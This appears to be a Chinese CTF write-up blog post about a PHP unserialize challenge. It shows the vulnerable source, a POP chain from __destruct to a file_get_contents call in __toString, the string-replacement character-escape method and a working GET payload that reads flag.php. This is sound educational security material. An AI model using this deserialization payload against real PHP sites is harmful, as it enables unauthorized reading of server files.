周末玩了四叶草的校内交流赛,也玩了玩安恒的月赛,师傅们tql,只做出来web第一题的我,哭了,最近萌生了个想法,想开始二进制之旅了,这学期还开了个微机原理,刚好学一些基础知识啥的,慢慢入坑把,虽然web还没搞好,web看不下去的时候换换脑子学学二进制感觉应该不错。这次月赛第二个题给了个so文件,直接懵逼了,没有一点思路….等别的师傅发wp了复现一下

Enzunserialize

第一题给出了源码

<?php
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a)))); 

这里在C类_toStrring中可以读取flag.php

pop链更好构造:

<?php
class B{
    public $b;
    }
class C{
    public $c='flag.php';
    }
$b = new B();
$c = new C();
$b->b = $c;  
echo serialize($b);
?>

在本地打一下,先看看正常传进去的数据

在实例化变量后,恶意数据在A类中,没办法实现我们的目的,刚好write方法和read方法里的str_replace可以帮助我们进行字符逃逸,字符逃逸原理在以前安洵杯和GYCTF中都有解释

因为$a我们也可以控制,所以需要逃逸的字符就只是:

";s:8:"password";s:55:"

我利用的是read方法,/0/0/0替换为chr(0).”*”.chr(0)   由6个字符变成3个字符,一次可以逃逸出3个字符,需要逃逸的字符有23个,然后构造8组/0/0/0,逃逸出24个字符,为了不破坏恶意数据,还需要补一个字符,并且将前面反序列化后的数据闭合

payload:

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a";s:0:"";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注